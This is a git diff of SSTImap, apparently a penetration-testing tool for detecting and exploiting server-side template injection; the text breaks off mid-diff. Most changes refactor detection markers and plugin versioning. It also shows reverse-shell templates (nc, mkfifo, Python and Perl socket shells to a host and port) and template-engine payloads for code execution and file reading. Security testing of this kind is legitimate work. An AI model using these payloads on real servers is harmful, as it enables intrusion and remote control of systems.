diff --git a/.gitignore b/.gitignore index 2684be0..e8eaa18 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,6 @@ # SSTImap custom plugins plugins/custom/* +plugins/SEP/* # Byte-compiled / optimized / DLL files __pycache__/ diff --git a/README.md b/README.md index 9071110..b12cf8f 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ SSTImap ====== [![Version 1.2](https://img.shields.io/badge/version-1.2-green.svg?logo=github)](https://github.com/vladko312/sstimap) -[![Python 3.11](https://img.shields.io/badge/python-3.11-blue.svg?logo=python)](https://www.python.org/downloads/release/python-3110/) +[![Python 3.13](https://img.shields.io/badge/python-3.13-blue.svg?logo=python)](https://www.python.org/downloads/release/python-3130/) [![Python 3.6](https://img.shields.io/badge/python-3.6+-yellow.svg?logo=python)](https://www.python.org/downloads/release/python-360/) [![GitHub](https://img.shields.io/github/license/vladko312/sstimap?color=green&logo=gnu)](https://www.gnu.org/licenses/gpl-3.0.txt) [![GitHub last commit](https://img.shields.io/github/last-commit/vladko312/sstimap?color=green&logo=github)](https://github.com/vladko312/sstimap/commits/) @@ -12,7 +12,7 @@ SSTImap SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself. -This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation. +This tool was developed to be used as an interactive penetration testing tool for SSTI detection and exploitation, which allows more advanced exploitation. More payloads for SSTImap can be found [here](https://github.com/vladko312/extras). Sandbox break-out techniques came from: - James Kett's [Server-Side Template Injection: RCE For The Modern Web App][5] @@ -26,8 +26,9 @@ Differences with Tplmap Even though this software is based on Tplmap's code, backwards compatibility is not provided. - Interactive mode (`-i`) allowing for easier exploitation and detection +- Simple evaluation payloads as response markers in case of payload reflection +- Added new payloads for generic templates, as well as a way to speed up detection using `--skip-generic` - Base language _eval()_-like shell (`-x`) or single command (`-X`) execution -- Added new payloads for generic templates, as well as a way to speed up detection using - Added new payload for _Smarty_ without enabled `{php}{/php}`. Old payload is available as `Smarty_unsecure`. - Added new payload for newer versions of _Twig_. Payload for older version is available as `Twig_v1`. - User-Agent can be randomly selected from a list of desktop browser agents using `-A` @@ -223,7 +224,7 @@ Supported template engines SSTImap supports multiple template engines and _eval()_-like injections. -New payloads are welcome in PRs. +New payloads are welcome in PRs. Check out the [tips](https://github.com/vladko312/extras#developing-plugins) to speed up development. | Engine | RCE | Blind | Code evaluation | File read | File write | |--------------------------------------|-----|-------|-----------------|-----------|------------| @@ -254,7 +255,7 @@ New payloads are welcome in PRs. | Velocity | ✓ | ✓ | Java | ✓ | ✓ | | Twig (>1.19 <2.0) | × | × | × | × | × | | Dust (> dustjs-helpers@1.5.0) | × | × | × | × | × | - +More plugins and payloads can be found in [SSTImap Extra Plugins](https://github.com/vladko312/extras) repository. Burp Suite Plugin ----------------- diff --git a/plugins/languages/bash.py b/core/bash.py similarity index 95% rename from plugins/languages/bash.py rename to core/bash.py index e53b56b..7a1e54b 100644 --- a/plugins/languages/bash.py +++ b/core/bash.py @@ -11,7 +11,7 @@ """sleep 1; rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {host} {port} >/tmp/f""", """sleep 1; nc -e {shell} {host} {port}""", """sleep 1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{host}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["{shell}","-i"]);'""", - "sleep 1; /bin/bash -c \'{shell} 0&0 2>&0\'", + "sleep 1; /bin/bash -c '{shell} 0&0 2>&0'", """perl -e 'use Socket;$i="{host}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("{shell} -i");}};'""", # TODO: ruby payload's broken, fix it. # """ruby -rsocket -e'f=TCPSocket.open("{host}",{port}).to_i;exec sprintf("{shell} -i <&%%d >&%%d 2>&%%d",f,f,f)'""", diff --git a/core/checks.py b/core/checks.py index 61c80b6..400e4b8 100644 --- a/core/checks.py +++ b/core/checks.py @@ -1,12 +1,11 @@ import json import os -import telnetlib -import urllib from urllib import parse import socket from utils.loggers import log from core.clis import Shell, MultilineShell from core.tcpserver import TcpServer +from core.tcpclient import TcpClient from utils.crawler import crawl, find_forms from core.channel import Channel @@ -202,10 +201,12 @@ def check_template_injection(channel): if not thread.is_alive(): continue try: - telnetlib.Telnet(urlparsed.hostname.decode(), bind_shell_port, timeout=5).interact() - # If telnetlib does not rise an exception, we can assume that - # ended correctly and return from `run()` + a = TcpClient(urlparsed.hostname.decode(), bind_shell_port, timeout=5) + a.shell() return current_plugin + except (KeyboardInterrupt, EOFError): + print() + log.log(26, 'Exiting bind shell') except Exception as e: log.debug(f"Error connecting to {urlparsed.hostname}:{bind_shell_port} {e}") else: @@ -310,7 +311,7 @@ def scan_website(args): url_args = args.copy() url_args['url'] = form[0] url_args['method'] = form[1] - url_args['data'] = urllib.parse.parse_qs(form[2], keep_blank_values=True) + url_args['data'] = parse.parse_qs(form[2], keep_blank_values=True) channel = Channel(url_args) result = check_template_injection(channel) if channel.data.get('engine'): diff --git a/core/data_type.py b/core/data_type.py index 9548858..dda3f52 100644 --- a/core/data_type.py +++ b/core/data_type.py @@ -1,15 +1,23 @@ import base64 import sys +from utils import config +from utils.loggers import log loaded_data_types = {} +failed_data_types = [] def unload_data_types(): global loaded_data_types + global failed_data_types for k in loaded_data_types: if loaded_data_types[k].__module__ in sys.modules: del sys.modules[loaded_data_types[k].__module__] loaded_data_types = {} + for p in failed_data_types: + if p.__module__ in sys.modules: + del sys.modules[p.__module__] + failed_data_types = [] def compatible_url_safe_base64_encode(code): @@ -19,6 +27,8 @@ def compatible_url_safe_base64_encode(code): class DataType(object): + sstimap_version = config.version + def __init__(self, args, tag="*"): self.data_type = self.__class__.__name__ self.params = "" @@ -29,6 +39,14 @@ def __init__(self, args, tag="*"): def __init_subclass__(cls, **kwargs): module = cls.__module__.split(".") name = cls.__name__ + if config.compare_versions(cls.sstimap_version, config.min_version['data_type']) == "<": + log.log(22, f'''{name} data type is outdated and cannot be loaded''') + failed_data_types.append(cls) + return + if config.compare_versions(cls.sstimap_version, config.version) == ">": + log.log(22, f'''{name} data type requires SSTImap update and cannot be loaded''') + failed_data_types.append(cls) + return if module[0] == "data_types": loaded_data_types[name.lower()] = cls diff --git a/core/interactive.py b/core/interactive.py index 1dc478d..6b3710c 100644 --- a/core/interactive.py +++ b/core/interactive.py @@ -44,7 +44,7 @@ def set_module(self, module): def default(self, line): log.log(22, f'Invalid interactive command: {line.split(" ", 1)[0].lower()}. ' - f'Type \'help\' to see available commands.') + f"Type 'help' to see available commands.") def emptyline(self): pass @@ -73,9 +73,9 @@ def do_help(self, line): mark, marker [MARKER] Set string as injection marker (default '*') data, post {rm} [DATA] Add request body data to send (e.g. 'param=value'). To remove by prefix, use "data rm PREFIX". Whithout arguments, clears all data type, data_type [TYPE] Select request body processing script for a specific data type (default 'form') - data_params {rm} [PARAM] Add request body processing param as KEY=VALUE. To remove by key, use "data rm KEY". Whithout arguments, clears all params - header, headers {rm} [HEADER] Add header to send (e.g. 'Header: Value'). To remove by prefix, use "data rm PREFIX". Whithout arguments, clears all headers - cookie, cookies {rm} [COOKIE] Cookie to send (e.g. 'Field=Value'). To remove by prefix, use "data rm PREFIX". Whithout arguments, clears all cookies + data_params {rm} [PARAM] Add request body processing param as KEY=VALUE. To remove by key, use "data_params rm KEY". Whithout arguments, clears all params + header, headers {rm} [HEADER] Add header to send (e.g. 'Header: Value'). To remove by prefix, use "header rm PREFIX". Whithout arguments, clears all headers + cookie, cookies {rm} [COOKIE] Cookie to send (e.g. 'Field=Value'). To remove by prefix, use "cookie rm PREFIX". Whithout arguments, clears all cookies method, http_method [METHOD] Set HTTP method to use (default 'GET') agent, user_agent [AGENT] Set User-Agent header value to use random, random_agent Toggle using random User-Agent header value from a list of desktop browsers on every request diff --git a/core/plugin.py b/core/plugin.py index a389f25..7fe17a6 100644 --- a/core/plugin.py +++ b/core/plugin.py @@ -1,5 +1,5 @@ from utils.strings import chunk_seq, md5 -from utils import rand +from utils import rand, config from utils.loggers import log import re import itertools @@ -10,15 +10,21 @@ import sys loaded_plugins = {} +failed_plugins = [] def unload_plugins(): global loaded_plugins + global failed_plugins for k in loaded_plugins: for p in loaded_plugins[k]: if p.__module__ in sys.modules: del sys.modules[p.__module__] loaded_plugins = {} + for p in failed_plugins: + if p.__module__ in sys.modules: + del sys.modules[p.__module__] + failed_plugins = [] def _recursive_update(d, u): @@ -48,6 +54,8 @@ def compatible_base64_encode(code): class Plugin(object): generic_plugin = False + header_type = 'cat' + sstimap_version = config.version def __init__(self, channel): # HTTP channel @@ -73,6 +81,14 @@ def __init__(self, channel): def __init_subclass__(cls, **kwargs): module = cls.__module__.split(".") if module[0] == "plugins": + if config.compare_versions(cls.sstimap_version, config.min_version['plugin']) == "<": + log.log(22, f'''{cls.__name__} plugin is outdated and cannot be loaded''') + failed_plugins.append(cls) + return + if config.compare_versions(cls.sstimap_version, config.version) == ">": + log.log(22, f'''{cls.__name__} plugin requires SSTImap update and cannot be loaded''') + failed_plugins.append(cls) + return if module[1] in loaded_plugins: loaded_plugins[module[1]].append(cls) else: @@ -135,7 +151,7 @@ def detect(self): render = self.get('render', '{code}').format(code='*') wrapper = self.get('wrapper', '{code}').format(code=render) suffix = self.get('suffix', '') - log.log(24, f'''{self.plugin} plugin has confirmed injection with tag \'{repr(prefix).strip("'")}{repr(wrapper).strip("'")}{repr(suffix).strip("'")}\'''') + log.log(24, f'''{self.plugin} plugin has confirmed injection with tag '{repr(prefix).strip("'")}{repr(wrapper).strip("'")}{repr(suffix).strip("'")}' ''') # Clean up any previous unreliable render data self.delete('unreliable_render') self.delete('unreliable') @@ -201,8 +217,8 @@ def _detect_unreliable_render(self): payload = render_action.get('test_render') # Probe with payload wrapped by header and trailer, no suffix or prefix. # Test if contained, since the page contains other garbage - if expected in self.render(code=payload, header='', trailer='', header_rand=0, - trailer_rand=0, prefix='', suffix=''): + if expected in self.render(code=payload, header='', trailer='', header_rand=[0,0], + trailer_rand=[0,0], prefix='', suffix=''): # Print if the first found unreliable render if not self.get('unreliable_render'): log.log(25, f"{self.plugin} plugin has detected unreliable rendering with tag " @@ -270,9 +286,9 @@ def _detect_render(self): # Prepare base operation to be evaluated server-side expected = render_action.get('test_render_expected') payload = render_action.get('test_render') - header_rand = rand.randint_n(10) + header_rand = [rand.randint_n(10,4),rand.randint_n(10,4)] header = render_action.get('header') # .format(header=header_rand) - trailer_rand = rand.randint_n(10) + trailer_rand = [rand.randint_n(10,4),rand.randint_n(10,4)] trailer = render_action.get('trailer') # .format(trailer=trailer_rand) # First probe with payload wrapped by header and trailer, no suffix or prefix if expected == self.render(code=payload, header=header, trailer=trailer, header_rand=header_rand, @@ -331,15 +347,16 @@ def inject(self, code, **kwargs): def render(self, code, **kwargs): # If header == '', do not send headers header_template = kwargs.get('header') + header_type = self.header_type if header_template != '': header_template = kwargs.get('header', self.get('header')) if not header_template: header_template = self.actions.get('render', {}).get('header') if header_template: - header_rand = kwargs.get('header_rand', self.get('header_rand', rand.randint_n(10))) + header_rand = kwargs.get('header_rand', self.get('header_rand', [rand.randint_n(10,4), rand.randint_n(10,4)])) header = header_template.format(header=header_rand) else: - header_rand = 0 + header_rand = [0, 0] header = '' # If trailer == '', do not send headers trailer_template = kwargs.get('trailer') @@ -348,11 +365,12 @@ def render(self, code, **kwargs): if not trailer_template: trailer_template = self.actions.get('render', {}).get('trailer') if trailer_template: - trailer_rand = kwargs.get('trailer_rand', self.get('trailer_rand', rand.randint_n(10))) + trailer_rand = kwargs.get('trailer_rand', self.get('trailer_rand', [rand.randint_n(10,4), rand.randint_n(10,4)])) trailer = trailer_template.format(trailer=trailer_rand) else: - trailer_rand = 0 + trailer_rand = [0, 0] trailer = '' + # Ensure constant length payload_template = kwargs.get('render', self.get('render')) if not payload_template: payload_template = self.actions.get('render', {}).get('render') @@ -365,6 +383,15 @@ def render(self, code, **kwargs): wrapper = kwargs.get('wrapper', self.get('wrapper', '{code}')) blind = kwargs.get('blind', False) injection = wrapper.format(code=header) + wrapper.format(code=payload) + wrapper.format(code=trailer) + if header_type == "add": + header_expected = str(sum(header_rand)) + trailer_expected = str(sum(trailer_rand)) + elif header_type == "cat": + header_expected = "".join([str(x) for x in header_rand]) + trailer_expected = "".join([str(x) for x in trailer_rand]) + else: + header_expected = "" + trailer_expected = "" # Save the average HTTP request time of rendering in order # to better tone the blind request timeouts. # Reset wrapper to empty, as it was already applied @@ -378,9 +405,9 @@ def render(self, code, **kwargs): return result_raw # Cut the result using the header and trailer if specified if header: - before, _, result_after = result_raw.partition(str(header_rand)) + before, _, result_after = result_raw.partition(header_expected) if trailer and result_after: - result, _, after = result_after.partition(str(trailer_rand)) + result, _, after = result_after.partition(trailer_expected) return result.strip() if result else result def set(self, key, value): @@ -480,7 +507,13 @@ def write(self, data, remote_path): log.debug(f'[b64 encoding] {chunk}') chunk_b64 = base64.urlsafe_b64encode(chunk) chunk_b64p = base64.b64encode(chunk) - execution_code = payload_write.format(path=remote_path, chunk_b64=chunk_b64, chunk_b64p=chunk_b64p) + lens = { + 'path': len(remote_path), + 'clen': len(chunk), + 'clen64': len(chunk_b64), + 'clen64p': len(chunk_b64p) + } + execution_code = payload_write.format(path=remote_path, chunk_b64=chunk_b64, chunk_b64p=chunk_b64p, lens=lens) getattr(self, call_name)(code=execution_code) if self.get('blind'): log.log(25, 'Blind upload can\'t check the upload correctness, check manually') @@ -506,10 +539,12 @@ def evaluate(self, code, **kwargs): log.debug(f'[b64 encoding] {code}') code_b64 = compatible_url_safe_base64_encode(code) code_b64p = compatible_base64_encode(code) - clen = len(code) - clen64 = len(code_b64) - clen64p = len(code_b64p) - execution_code = payload.format(code_b64=code_b64, code=code, code_b64p=code_b64p, clen=clen, clen64=clen64, clen64p=clen64p) + lens = { + 'clen': len(code), + 'clen64': len(code_b64), + 'clen64p': len(code_b64p) + } + execution_code = payload.format(code_b64=code_b64, code=code, code_b64p=code_b64p, lens=lens) return getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, wrapper=wrapper, blind=blind) def execute(self, code, **kwargs): @@ -529,10 +564,12 @@ def execute(self, code, **kwargs): log.debug(f'[b64 encoding] {code}') code_b64 = compatible_url_safe_base64_encode(code) code_b64p = compatible_base64_encode(code) - clen = len(code) - clen64 = len(code_b64) - clen64p = len(code_b64p) - execution_code = payload.format(code_b64=code_b64, code_b64p=code_b64p, code=code, clen=clen, clen64=clen64, clen64p=clen64p) + lens = { + 'clen': len(code), + 'clen64': len(code_b64), + 'clen64p': len(code_b64p) + } + execution_code = payload.format(code_b64=code_b64, code_b64p=code_b64p, code=code, lens=lens) result = getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, wrapper=wrapper, blind=blind) return result.replace('\\n', '\n') if type(result) == str else result @@ -554,10 +591,13 @@ def evaluate_blind(self, code, **kwargs): log.debug(f'[b64 encoding] {code}') code_b64 = compatible_url_safe_base64_encode(code) code_b64p = compatible_base64_encode(code) - clen = len(code) - clen64 = len(code_b64) - clen64p = len(code_b64p) - execution_code = payload_action.format(code_b64=code_b64, clen=clen, clen64=clen64, clen64p=clen64p, + lens = { + 'clen': len(code), + 'clen64': len(code_b64), + 'clen64p': len(code_b64p), + 'delay': len(str(expected_delay)) + } + execution_code = payload_action.format(code_b64=code_b64, lens=lens, code_b64p=code_b64p, code=code, delay=expected_delay) return getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, wrapper=wrapper, blind=True) @@ -579,10 +619,13 @@ def execute_blind(self, code, **kwargs): log.debug(f'[b64 encoding] {code}') code_b64 = compatible_url_safe_base64_encode(code) code_b64p = compatible_base64_encode(code) - clen = len(code) - clen64 = len(code_b64) - clen64p = len(code_b64p) - execution_code = payload_action.format(code_b64=code_b64, clen=clen, clen64=clen64, clen64p=clen64p, + lens = { + 'clen': len(code), + 'clen64': len(code_b64), + 'clen64p': len(code_b64p), + 'delay': len(str(expected_delay)) + } + execution_code = payload_action.format(code_b64=code_b64, lens=lens, code_b64p=code_b64p, code=code, delay=expected_delay) return getattr(self, call_name)(code=execution_code, prefix=prefix, suffix=suffix, wrapper=wrapper, blind=True) diff --git a/plugins/engines/cheetah.py b/plugins/engines/cheetah.py index fc996d6..5ae94a2 100644 --- a/plugins/engines/cheetah.py +++ b/plugins/engines/cheetah.py @@ -9,8 +9,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '${{{header}}}', - 'trailer': '${{{trailer}}}', + 'header': '${{{header[0]}+{header[1]}}}', + 'trailer': '${{{trailer[0]}+{trailer[1]}}}', # ${{getVar('a', '').replace($getVar('a', ''), '')}} is a way to trigger getVar and get empty result 'test_render': f"""${{getVar('a', '').replace($getVar('a', ''), '')}}${{'{rand.randstrings[0]}'.join('{rand.randstrings[1]}')}}""", 'test_render_expected': f'{rand.randstrings[0].join(rand.randstrings[1])}' diff --git a/plugins/engines/dot.py b/plugins/engines/dot.py index aeb67ce..580466c 100644 --- a/plugins/engines/dot.py +++ b/plugins/engines/dot.py @@ -9,8 +9,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '{{{{={header}}}}}', - 'trailer': '{{{{={trailer}}}}}', + 'header': '{{{{={header[0]}+{header[1]}}}}}', + 'trailer': '{{{{={trailer[0]}+{trailer[1]}}}}}', 'test_render': f'{{{{=typeof({rand.randints[0]})+{rand.randints[1]}}}}}', 'test_render_expected': f'number{rand.randints[1]}' }, diff --git a/plugins/engines/dust.py b/plugins/engines/dust.py index 571b557..bc7a799 100644 --- a/plugins/engines/dust.py +++ b/plugins/engines/dust.py @@ -1,15 +1,16 @@ from utils.loggers import log from plugins.languages import javascript from utils import rand -from plugins.languages import bash +from core import bash class Dust(javascript.Javascript): + header_type = "cat" def init(self): self.update_actions({ 'evaluate': { 'call': 'inject', - 'evaluate': """{{@if cond=\"eval(Buffer('{code_b64p}', 'base64').toString())\"}}{{/if}}""" + 'evaluate': """{{@if cond="eval(Buffer('{code_b64p}', 'base64').toString())"}}{{/if}}""" }, 'write': { 'call': 'evaluate', @@ -45,14 +46,14 @@ def _detect_dust(self): payload = f'{rand.randstrings[0]}{{!qwe!}}' \ f'{{#x a="{rand.randstrings[2]}" b="{rand.randstrings[1]}"}}{{:else}}{{b}}{{a}}{{/x}}' expected = f'{rand.randstrings[0]}{rand.randstrings[1]}{rand.randstrings[2]}' - header_rand = rand.randint_n(10) - header = str(header_rand) - trailer_rand = rand.randint_n(10) - trailer = str(trailer_rand) + header_rand = [rand.randint_n(10,4),rand.randint_n(10,4)] + header = '{header[0]}{{!123!}}{header[1]}' + trailer_rand = [rand.randint_n(10,4),rand.randint_n(10,4)] + trailer = '{trailer[0]}{{!123!}}{trailer[1]}' if expected == self.render(code=payload, header=header, trailer=trailer, header_rand=header_rand, trailer_rand=trailer_rand, prefix=prefix, suffix=suffix, wrapper=wrapper): - self.set('header', '{header}') - self.set('trailer', '{trailer}') + self.set('header', '{header[0]}{{!123!}}{header[1]}') + self.set('trailer', '{trailer[0]}{{!123!}}{trailer[1]}') self.set('prefix', prefix) self.set('suffix', suffix) self.set('wrapper', wrapper) diff --git a/plugins/engines/ejs.py b/plugins/engines/ejs.py index 18fabeb..d9cf047 100644 --- a/plugins/engines/ejs.py +++ b/plugins/engines/ejs.py @@ -8,8 +8,8 @@ class Ejs(javascript.Javascript): def init(self): self.update_actions({ 'render': { - 'header': """<%= '{header}' %>""", - 'trailer': """<%= '{trailer}' %>""", + 'header': """<%= {header[0]}+{header[1]} %>""", + 'trailer': """<%= {trailer[0]}+{trailer[1]} %>""", 'render': '{code}', 'test_render': f'<%= typeof({rand.randints[0]})+{rand.randints[1]} %>', 'test_render_expected': f'number{rand.randints[1]}' diff --git a/plugins/engines/erb.py b/plugins/engines/erb.py index a929b87..17be715 100644 --- a/plugins/engines/erb.py +++ b/plugins/engines/erb.py @@ -7,8 +7,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': """<%='{header}'%>""", - 'trailer': """<%='{trailer}'%>""", + 'header': """<%={header[0]}+{header[1]}%>""", + 'trailer': """<%={trailer[0]}+{trailer[1]}%>""", 'test_render': f"""<%=({rand.randints[0]}*{rand.randints[1]}).to_s%>""", 'test_render_expected': f'{rand.randints[0]*rand.randints[1]}' }, diff --git a/plugins/engines/freemarker.py b/plugins/engines/freemarker.py index a007f35..e04cfa7 100644 --- a/plugins/engines/freemarker.py +++ b/plugins/engines/freemarker.py @@ -7,8 +7,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '${{{header}?c}}', - 'trailer': '${{{trailer}?c}}', + 'header': '${{({header[0]}+{header[1]})?c}}', + 'trailer': '${{({trailer[0]}+{trailer[1]})?c}}', 'test_render': f"""${{{rand.randints[0]}}}<#--{rand.randints[1]}-->${{{rand.randints[2]}}}""", 'test_render_expected': f'{rand.randints[0]}{rand.randints[2]}' }, diff --git a/plugins/engines/jinja2.py b/plugins/engines/jinja2.py index c32b25e..3822d3f 100644 --- a/plugins/engines/jinja2.py +++ b/plugins/engines/jinja2.py @@ -7,8 +7,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '{{{{{header}}}}}', - 'trailer': '{{{{{trailer}}}}}', + 'header': '{{{{{header[0]}+{header[1]}}}}}', + 'trailer': '{{{{{trailer[0]}+{trailer[1]}}}}}', 'test_render': f'{{{{({rand.randints[0]},{rand.randints[1]}*{rand.randints[2]})|e}}}}', 'test_render_expected': f'{(rand.randints[0],rand.randints[1]*rand.randints[2])}' }, diff --git a/plugins/engines/mako.py b/plugins/engines/mako.py index 37c9a2e..3d00cba 100644 --- a/plugins/engines/mako.py +++ b/plugins/engines/mako.py @@ -9,8 +9,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '${{{header}}}', - 'trailer': '${{{trailer}}}', + 'header': '${{{header[0]}+{header[1]}}}', + 'trailer': '${{{trailer[0]}+{trailer[1]}}}', 'test_render': f"""${{'{rand.randstrings[0]}'.join('{rand.randstrings[1]}')}}${{"%" | u}}""", 'test_render_expected': f'{rand.randstrings[0].join(rand.randstrings[1])}%25' }, diff --git a/plugins/engines/marko.py b/plugins/engines/marko.py index 12a07c5..caf498a 100644 --- a/plugins/engines/marko.py +++ b/plugins/engines/marko.py @@ -7,8 +7,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '${{"{header}"}}', - 'trailer': '${{"{trailer}"}}', + 'header': '${{{header[0]}+{header[1]}}}', + 'trailer': '${{{trailer[0]}+{trailer[1]}}}', 'test_render': f'${{typeof({rand.randints[0]})+{rand.randints[1]}}}', 'test_render_expected': f'number{rand.randints[1]}' }, @@ -22,7 +22,7 @@ def init(self): 'read': """${{require('fs').readFileSync('{path}').toString('base64')}}""" }, 'md5': { - 'md5': "${{require('crypto').createHash('md5').update(require('fs').readFileSync('{path}')).digest(\"hex\")}}" + 'md5': "${{require('crypto').createHash('md5').update(require('fs').readFileSync('{path}')).digest('hex')}}" }, 'evaluate': { 'evaluate': """${{eval(Buffer('{code_b64p}', 'base64').toString())}}""" diff --git a/plugins/engines/nunjucks.py b/plugins/engines/nunjucks.py index 9f21284..9d760c0 100644 --- a/plugins/engines/nunjucks.py +++ b/plugins/engines/nunjucks.py @@ -7,8 +7,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '{{{{{header}}}}}', - 'trailer': '{{{{{trailer}}}}}', + 'header': '{{{{{header[0]}+{header[1]}}}}}', + 'trailer': '{{{{{trailer[0]}+{trailer[1]}}}}}', 'test_render': f'{{{{({rand.randints[0]},{rand.randints[1]}*{rand.randints[2]})|dump}}}}', 'test_render_expected': f'{rand.randints[1]*rand.randints[2]}' }, diff --git a/plugins/engines/pug.py b/plugins/engines/pug.py index 4c5de7e..6f07973 100644 --- a/plugins/engines/pug.py +++ b/plugins/engines/pug.py @@ -10,8 +10,8 @@ def init(self): 'render': { 'call': 'inject', 'render': '{code}', - 'header': '\n= {header}\n', - 'trailer': '\n= {trailer}\n', + 'header': '\n= {header[0]}+{header[1]}\n', + 'trailer': '\n= {trailer[0]}+{trailer[1]}\n', 'test_render': f'|#{{typeof({rand.randints[0]})+{rand.randints[1]}}}', 'test_render_expected': f'number{rand.randints[1]}' }, diff --git a/plugins/engines/slim.py b/plugins/engines/slim.py index 3371b3b..c157343 100644 --- a/plugins/engines/slim.py +++ b/plugins/engines/slim.py @@ -6,8 +6,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': """|#{{'{header}'}}""", - 'trailer': """#{{'{trailer}'}}""", + 'header': """|#{{{header[0]}+{header[1]}}}""", + 'trailer': """#{{{trailer[0]}+{trailer[1]}}}""", 'test_render': f"""#{{({rand.randints[0]}*{rand.randints[1]}).to_s}}""", 'test_render_expected': f'{rand.randints[0]*rand.randints[1]}' }, diff --git a/plugins/engines/smarty.py b/plugins/engines/smarty.py index 929212d..fb84b31 100644 --- a/plugins/engines/smarty.py +++ b/plugins/engines/smarty.py @@ -1,6 +1,6 @@ from plugins.languages import php from utils import rand -from plugins.languages import bash +from core import bash class Smarty(php.Php): @@ -10,8 +10,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '{{{header}}}', - 'trailer': '{{{trailer}}}', + 'header': '{{{header[0]}+{header[1]}}}', + 'trailer': '{{{trailer[0]}+{trailer[1]}}}', 'test_render': f"""{{{rand.randints[0]}}}{{*{rand.randints[1]}*}}{{{rand.randints[2]}}}""", 'test_render_expected': f'{rand.randints[0]}{rand.randints[2]}' }, diff --git a/plugins/engines/tornado.py b/plugins/engines/tornado.py index d36ab39..352140b 100644 --- a/plugins/engines/tornado.py +++ b/plugins/engines/tornado.py @@ -10,8 +10,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '{{{{{header}}}}}', - 'trailer': '{{{{{trailer}}}}}', + 'header': '{{{{{header[0]}+{header[1]}}}}}', + 'trailer': '{{{{{trailer[0]}+{trailer[1]}}}}}', 'test_render': f"""{{{{'{rand.randstrings[0]}'}}}}{{#comment#}}{{% raw '{rand.randstrings[0]}'.join('{rand.randstrings[1]}') %}}{{{{'{rand.randstrings[1]}'}}}}""", 'test_render_expected': f'{rand.randstrings[0] + rand.randstrings[0].join(rand.randstrings[1]) + rand.randstrings[1]}' }, diff --git a/plugins/engines/twig.py b/plugins/engines/twig.py index 86a0ed8..8bb7d2c 100644 --- a/plugins/engines/twig.py +++ b/plugins/engines/twig.py @@ -1,5 +1,5 @@ from plugins.languages import php -from plugins.languages import bash +from core import bash from utils import rand @@ -12,8 +12,8 @@ def init(self): 'render': { 'render': '{code}', # Disable errors, so that "system" will not corrupt the output with a warning - 'header': '{{% for a in ["error_reporting", "0"]|sort("ini_set") %}}{{% endfor %}}{{{{{header}}}}}', - 'trailer': '{{{{{trailer}}}}}', + 'header': '{{% for a in ["error_reporting", "0"]|sort("ini_set") %}}{{% endfor %}}{{{{{header[0]}+{header[1]}}}}}', + 'trailer': '{{{{{trailer[0]}+{trailer[1]}}}}}', # {{7*'7'}} and a{#b#}c work in freemarker as well # {%% set a=%i*%i %%}{{a}} works in Nunjucks as well 'test_render': f'{{{{(1..3)|sort((x, y) => x < y)|join("")}}}}{{{{"{rand.randstrings[0]}\n"|nl2br}}}}', diff --git a/plugins/engines/twig_v1.py b/plugins/engines/twig_v1.py index b2a7ff2..424cc0d 100644 --- a/plugins/engines/twig_v1.py +++ b/plugins/engines/twig_v1.py @@ -1,5 +1,5 @@ from plugins.languages import php -from plugins.languages import bash +from core import bash from utils import rand @@ -12,8 +12,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '{{{{{header}}}}}', - 'trailer': '{{{{{trailer}}}}}', + 'header': '{{{{{header[0]}+{header[1]}}}}}', + 'trailer': '{{{{{trailer[0]}+{trailer[1]}}}}}', # {{7*'7'}} and a{#b#}c work in freemarker as well # {%% set a=%i*%i %%}{{a}} works in Nunjucks as well # "sameas" worked in 1.x but was replaced by "same as" in 2.x diff --git a/plugins/engines/velocity.py b/plugins/engines/velocity.py index fa827b6..b4e2245 100644 --- a/plugins/engines/velocity.py +++ b/plugins/engines/velocity.py @@ -7,8 +7,8 @@ def init(self): self.update_actions({ 'render': { 'render': '{code}', - 'header': '\n#set($h={header})\n${{h}}\n', - 'trailer': '\n#set($t={trailer})\n${{t}}\n', + 'header': '\n#set($h={header[0]}+{header[1]})\n${{h}}\n', + 'trailer': '\n#set($t={trailer[0]}+{trailer[1]})\n${{t}}\n', 'test_render': f'#set($c={rand.randints[0]}*{rand.randints[1]})\n${{c}}\n', 'test_render_expected': f'{rand.randints[0]*rand.randints[1]}' }, diff --git a/plugins/generic/javascript_generic.py b/plugins/generic/javascript_generic.py index e9cba4b..41dc5f9 100644 --- a/plugins/generic/javascript_generic.py +++ b/plugins/generic/javascript_generic.py @@ -6,8 +6,8 @@ class Javascript_generic(javascript.Javascript): def init(self): self.update_actions({ 'render': { - 'header': """'{header}'""", - 'trailer': """'{trailer}'""", + 'header': """{header[0]}+{header[1]}""", + 'trailer': """{trailer[0]}+{trailer[1]}""", 'render': '{code}', 'test_render': f'typeof({rand.randints[0]})+{rand.randints[1]}', 'test_render_expected': f'number{rand.randints[1]}' diff --git a/plugins/generic/php_generic.py b/plugins/generic/php_generic.py index fd7c3be..8d467f1 100644 --- 